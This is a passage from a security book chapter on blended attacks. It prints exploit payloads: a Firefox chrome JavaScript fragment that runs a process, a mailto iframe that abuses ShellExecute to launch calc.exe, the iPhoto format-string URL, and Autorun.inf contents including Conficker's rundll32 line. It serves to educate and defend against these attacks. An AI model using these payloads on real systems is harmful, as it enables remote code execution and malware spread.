process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);
process.init(file);
process.run(true,{},0);

When the victim browsed to an attacker-controlled page with Internet Explorer, Internet Explorer invoked the FireFoxUrl:// protocol handler, which in turn launched Firefox. Firefox then executed the attacker-supplied JavaScript payload in the context of -chrome. This JavaScript payload passed to -chrome allows the remote web page to execute cmd.exe on the victim’s machine, without the victim’s consent.

Note

Mozilla patched this command-line injection vulnerability in Firefox 2.0.0.5. The Mozilla security advisory related to this vulnerability is available at http://www.mozilla.org/security/announce/2007/mfsa2007-23.html.

This example took advantage of the insecure way in which Firefox registered the FireFoxUrl:// protocol handler as well as some loose behavior from Internet Explorer when dealing with special characters passed to protocol handlers. Taken in isolation, each behavior poses only a low risk to the user, but when they are combined into a single attack the risks increase and the impact of the blended attack results in the ability to remotely execute commands on a victim’s system.

Mailto:// and the Vulnerability in the ShellExecute Windows API

In the two examples presented in the previous sections, we demonstrated two blended threats that used browsers from different vendors against each other. In this example, we will demonstrate how an attacker can transform a local vulnerability in a Windows API into a remote vulnerability through the use of blended attacks. This example begins with a vulnerability in the ShellExecute Windows API (WinAPI).

When IE7 was installed on Windows XP and Windows 2003 systems, it made some changes to the ShellExecute WinAPI. When ShellExecute was passed an argument that contained a “%” character, it considered the argument mangled and attempted to “fix” the argument in order to make the string usable. Normally, local applications call ShellExecute to execute commands on the local machine. In most cases, if an attacker has the ability to pass arbitrary values to the ShellExecute WinAPI, the attacker would already be in a position to execute arbitrary commands on the victim’s machine. Considering the ShellExecute API is not normally accessible remotely, the attack surface for this individual vulnerability is small. If an attacker were to somehow gain remote access to the suspicious ShellExecute behavior, this would increase the risk of the ShellExecute behavior from low to high.

As we discussed in previous examples, protocol handlers on Windows allow an attacker to pass various items from the browser to the operating system. The operating system then calls the appropriate application, which was mapped via the protocol handler. When the operating system calls the mapped application, it actually makes use of the ShellExecute WinAPI. Normally, when a protocol handler is invoked, the attacker has control of only a portion of the arguments being passed to ShellExecute. Figure 4-10 shows a simplified example of how the ShellExecute API is used in conjunction with protocol handlers.

ShellExecute handling mechanism
Figure 4-10. ShellExecute handling mechanism

Special care was taken to prevent overwriting the beginning portion of the strings that were passed to ShellExecute via protocol handlers. This behavior ensures that only the application mapped to the registered protocol handler is executed. With the introduction of the subtle flaw in handling “%” characters passed to ShellExecute arguments, not only does the attacker have a technique to overwrite the initial portion of the string passed to ShellExecute, but also the registered protocol handlers give the attacker a medium to pass the mangled string to ShellExecute from a remote source.

The following example uses the mailto:// protocol handler. This blended attack does not depend on mailto://; in fact, any protocol handler can be used to reach the ShellExecute WinAPI. In this situation, however, mailto:// offers the attacker some advantages over other protocol handlers. Some browsers and many applications (such as Adobe Acrobat Reader) have a protocol handler warning prompt that presents a warning to the user in the event a protocol handler is called. Both mailto:// and a small number of other protocol handlers are considered “safe” and will execute without warning from most browsers and applications, allowing the attacker to silently invoke a protocol handler without user interaction over a larger number of applications. In this example, the specific application that is registered to the mailto:// application protocol is irrelevant; however, for demonstration purposes, we will assume that mailto:// is registered to a fictitious mail application named mail.exe.

mailto    mail    "C:\Program Files\Mail Application\Mail.exe" "%1"

An attacker can invoke the protocol handler through a browser by using the following HTML. Note that the mailto:// protocol handler is used, the string passed to mailto:// contains the “%” character, and the string ends with the .cmd extension.

<html>
<body>
<iframe src='mailto:test%../../../../windows/system32/calc.exe".cmd'>
</iframe>
</body>
</html>

The arguments supplied to the protocol handler will be passed from the browser (or other application) to the operating system and the operating system will attempt to execute the mapped application using the ShellExecute WinAPI. The attacker-supplied arguments are passed to ShellExecute in the following manner (simplified for clarity):

ShellExecute("C:\Program Files\Mail Application\Mail.exe
    mailto:test%../../../../windows/system32/calc.exe".cmd")

Due to the strange behavior in ShellExecute, instead of the mail program (mail.exe) being executed, the “%” character mangled the argument passed to ShellExecute so that the following was passed instead (simplified for clarity):

ShellExecute("%../../../../windows/system32/calc.exe")

This example uses calc.exe as an example; however, we could have used any executable. And although we demonstrated this attack in Firefox, we later discovered that other applications can be used to launch the attack, most notably PDF files, turning this blended attack into an attack that could be launched against a wide variety of browsers.

Note

You can find the official Microsoft Security Response Center (MSRC) response that outlines the details for this vulnerability at the following URL: http://blogs.technet.com/msrc/archive/2007/10/10/msrc-blog-additional-details-and-background-on-security-advisory-943521.aspx.

This attack blended several different application behaviors: most notably, flawed parsing logic vulnerability in the ShellExecute WinAPI, the ability of certain browsers/applications to pass arguments without sanitization to the vulnerable WinAPI, and the registration of the mailto:// protocol handler on the “safe list,” making it remotely accessible without warning in a large number of applications. Taken in isolation, each vulnerability/behavior represents a low/medium risk to users, but when they are combined the risk becomes critical.

The iPhoto Format String Exploit

The previous examples focused on blended threats on Microsoft Windows platforms. However, OS X-based systems are not immune to blended threats. As Apple continues to gain market share and more developers flock to meet the growing demand for OS X applications, the opportunities for blended threats increase exponentially. Like Windows-based systems, OS X also supports application protocol handlers. Using the program provided earlier (DUHforMac.c) attackers can enumerate the popular applications that register a protocol handler as part of their installation process. This list provides an excellent starting point for the research and development of attacks and exploits that are wide-reaching.

The iPhoto application is a great example of a popular program that registers a protocol handler. iPhoto is made by Apple and is used for managing and organizing photos. When a user installs iPhoto onto his OS X-based system, the iPhoto application registers the following protocol handler:

photo                     iPhoto (/Applications/iPhoto.app)

In July 2008, security researcher Nate McFeters discovered a format string flaw in iPhoto. The format string vulnerability could be reached when a user attempted to subscribe to a maliciously crafted photocast. Normally, the iPhoto user would have to manually add the photocast URL, which after looking at the malicious photocast URL might make the user think twice about adding it. That malicious photocast URL looks something like this:

/Applications/iPhoto.app AAAAAAAAAAAAAAAAAAAAA...AAA%dd%n

Although the vulnerability seems to involve a large amount of user interaction to execute a reliable attack against the user, the fact that iPhoto registered a protocol handler opens additional avenues for exploitation.

Note

Wikipedia has a great definition of format string vulnerabilities, available at http://en.wikipedia.org/wiki/Format_string_vulnerabilities.

The Safari browser on OS X-based systems allows an attacker to execute arbitrary protocol handlers without user warning or interaction. If the user browses to a web page that contains references to a registered protocol handler, Safari will immediately invoke the protocol handler by passing the reference to the protocol handler (and any associated arguments) to the underlying operating system. Typically, support for protocol handlers is not a security risk in itself; however, when a protocol handler allows an attacker to control a capability not normally allowed for a particular situation, or when it reaches a portion of vulnerable code, it becomes a contributing factor in a security risk. In this example, the iPhoto application registered the photo:// protocol handler. The photo:// protocol handler allows the attacker to use Safari to pass an arbitrary photocast URL to iPhoto.app. The photocast URL will be passed to iPhoto.app without user interaction (other than visiting the malicious page) and without any warning to the user. The protocol handling behavior of Safari has turned this seemingly local vulnerability requiring a significant amount of user interaction into a remotely accessible vulnerability requiring very little user interaction.

Note

You can find Apple’s iPhoto security advisory describing the issue at http://support.apple.com/kb/HT2359?viewlocale=en_US.

Blended Worms: Conficker/Downadup

One of the most sophisticated examples of a “real-world” blended attack is the Conficker/Downadup worm (Conficker). The techniques used to infect machines, and an analysis of the techniques used to hide the worm on infected machines, show the sophistication and creativity of current-day malware writers. As of January 2009, the Conficker worm had infected more than 9 million machines, including those at many large corporations, government systems, and some military departments. Conficker’s success in spreading to other machines relies on the chosen methods for infecting other machines and is an excellent example of how blended attacks can be used to maximize exploitation. Conficker’s aggressive nature and the use of blended attacks make it one of the most successful worms in recent history. The techniques used for propagation abuse existing behavior, which, taken in isolation, normally represents low security risks as the attacks assume that one has gained physical access to a machine or has gained physical access to the corporate internal network. Conficker’s ability to position itself to take advantage of low-risk behavior, break security assumptions, and change the situation so that these low-risk behaviors now become high-risk propagation methods make Conficker one of the most devastating worms of our time.

Much like other forms of malware, most of the initial Conficker infections occurred via traditional spam and malware campaigns. Although the spam and malware campaigns were unusually effective in the case of Conficker, it is how the worm behaves after the initial infection that is especially interesting and highly relevant when considering blended attacks. Once a machine was infected with Conficker, the worm disabled access to security/update-related websites in an attempt to preserve itself. Once access to security-related sites was disabled, the worm began scanning the machines on the local network for a known vulnerability in the Windows Server Service (MS08-067).

Note

The authors of the Conficker worm realized that patches are sometimes delayed for servers that are not reachable from the Internet due to the protections offered by corporate firewalls. Considering the infected machine is now within a corporation’s perimeter, the protection mechanisms offered by firewalls are completely bypassed.

In addition to scanning the local network for MS08-067, Conficker also took advantage of a seemingly low-risk behavior related to removable drives on Windows-based machines. By default, many Windows-based machines were configured to “autorun” content from removable drives that were physically connected to the machine. Normally, if an attacker has the ability to physically connect removable media to the target machine, little can be done to protect the machine, as the attacker would have gained physical access to the target machine. In this case, however, the Conficker worm took advantage of this behavior by writing itself (as a hidden file) to any removable media that was connected to the infected machine. The Conficker worm would also create an Autorun.inf file that pointed to the hidden Conficker executable.

Note

Visit http://msdn.microsoft.com/en-us/library/cc144200(VS.85).aspx for an excellent document describing the Autorun.inf file and its various options.

Windows systems automatically parse the Autorun.inf file when removable media is physically connected to a system. Here is an example of an Autorun.inf file:

[autorun]
open="Evil.exe"
ShellExecute="Evil.exe"
Shell\Open\command="Evil.exe"

The preceding example shows an Autorun.inf file that contains multiple commands that instruct Windows-based machines to automatically execute Evil.exe from the removable media. The commands within Autorun.inf will be executed as soon as the removable media is connected to a Windows machine. The Autorun.inf file created by the Conficker worm made use of the open command, specifying that Rundll32.exe open a DLL file planted on the removable media. In addition to using Autorun.inf files, the Conficker worm also abused another seemingly benign behavior to help maximize stealth while spreading. Conficker padded Autorun.inf with binary data to disguise the commands held within the file. Although the binary padding made it extremely difficult for a human to make sense of the Autorun.inf file, Windows systems ignored the binary padding and executed the hidden commands without any issues. Figure 4-11 shows an actual Autorun.inf file created by the Conficker worm; it uses callouts to show which commands were hidden within the binary data.

Conficker Autorun.inf file
Figure 4-11. Conficker Autorun.inf file

The contents of this particular Autorun.inf created by Conficker equate to:

[autorun]
Action="Open folder to view files"
Icon="%systemroot%\system32\shell32.dll,4
ShellExecute="rundll32.exe .\RECYCLER\XXXXXXX\jwgkvsq.vmx,ahaezedrn
Useautoplay=1

Now, if the infected removable media is removed from the infected machine and is connected to another system, the Conficker worm will install itself on the new target and begin propagating itself to other adjacent machines. The Conficker worm used its access to a single infected machine with removable media and used the autorun functionality as a bridge to infect other systems that it couldn’t reach via initial infection methods.

Note

For documentation on disabling autorun functionality for Windows 2000 systems, visit the following URL: http://www.microsoft.com/technet/prodtechnol/windows2000serv/reskit/regentry/93502.mspx?mfr=true.

In addition to exploiting MS08-067 and spreading via removable media, the Conficker worm also propagated via network shares. Using a predefined list of weak passwords, it attempted to gain access to various network shares on machines. Normally, network shares on a corporate network are available only to other corporate users on the same network. Many system administrators also configure their corporate firewalls to block requests for network shares originating from the Internet. This can lull users into thinking that the security mechanisms used to protect these network shares can be lowered in an attempt to increase convenience when accessing the network file share. Since the Conficker worm has already infected a machine within the corporate perimeter, it had ready access to network file shares. The network file shares that had no password protection or that relied on weak passwords for protection quickly fell victim to Conficker’s password brute force attack. Once it gained access to a remote network share, Conficker would copy itself to the network share. It would also use the brute forced password to set up a Windows scheduled task job, which would automatically execute the malicious payload on the target machine, infecting it with Conficker and using it to spread further into the corporate network.

Note

Conficker had inflicted such an enormous amount of damage at the time of this writing that Microsoft offered a $250,000 bounty for information leading to the arrest of the Conficker authors. See http://www.microsoft.com/presspass/press/2009/feb09/02-12ConfickerPR.mspx for more information.

Finding Blended Threats

Although protocol handlers represent one of the most fruitful avenues for exploiting blended threats, attackers can use other techniques (as evidenced by the Conficker worm). Attackers can pinpoint possible blended vulnerabilities by examining the interaction between different software and determining whether behavior from one application can take advantage of a security weakness in a different application. Typically, the key piece to focus on is any bridge between the two different applications. In many of the examples we presented in this chapter, application protocol handlers provided the bridge between different applications. In the case of the Safari carpet bomb, the sqmapi.dll file on the user’s desktop created a link between the Safari browser and the Internet Explorer browser. In the case of the Conficker propagation techniques, the removable media, loose Autorun.inf parsing, and network shares provided the bridge from one system to the next. Although the examples presented in this chapter focused on blended attacks launched from the browser, blended threats are not limited to the browser. Application protocol handlers, for example, have nonbrowser attack vectors such as Word documents, PowerPoint documents, Excel spreadsheets, and PDF files. Identifying where the bridges are is essential in blended attacks and exploitation.

Attackers also attempt to identify security assumptions (both implicit and explicit) made by software packages. Once these assumptions are discovered, attackers can begin to examine how they can chain together subtle application behaviors to tear down these security assumptions. The propagation techniques the Conficker worm used are a great example of how an attacker can chain together subtle vulnerabilities to change the situation so that the security assumptions no longer hold up. Most software vendors will be hesitant to define in detail the security assumptions made by their security mechanisms, so the attacker will need to analyze the behavior of the targeted software, thinking creatively about possible opportunities for vulnerability chaining and blended attacks.

Note

Microsoft defined some of the most famous security boundaries in its “10 Immutable Laws of Security,” which you can find at http://technet.microsoft.com/en-us/library/cc722487.aspx.

Summary

The next-generation hacker faces the daunting task of exploiting software that has been hardened against hacker attacks after decades of security lessons learned. As individual software packages are hardened against attacks, attackers will shift focus to nontraditional means of exploitation. These nontraditional means include blended attacks, which take advantage of subtle, all too frequently overlooked security flaws in various pieces of software, combining them into a single devastating attack.

Modern software is intricate and complicated. In today’s environment, well-designed software is built with security in mind. However, very few software packages can claim to defend against blended threats. Each application makes explicit and implicit assumptions as to the environment in which it is operating and the threats against which it was designed to defend. Many of the current security practices, such as threat modeling, do not typically consider threats from third-party applications sharing the same operating system as being in scope. Organizations that consider threats from third-party applications as being in scope have expanded their security efforts exponentially. Even for organizations that attempt to put security mechanisms in place for threats from third-party software, defending against blended threats is still extremely difficult. Behaviors that seem perfectly acceptable may pose a significant security risk when (and only when) they are combined with other benign behavior from an external software package. These risks are subtle and are very difficult to detect. If an attacker can change the way certain behavior is invoked, it could lead to security issues. For example, software behavior that was designed to be used locally can open security risks when invoked remotely (through means such as protocol handlers).

Expect blended attacks to become increasingly prevalent as software on users’ systems becomes more diversified and capable. Having a solid understanding of how software programs interact with each other and of the security assumptions made by the software on your systems can pay dividends in discovering and defending against blended attacks.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required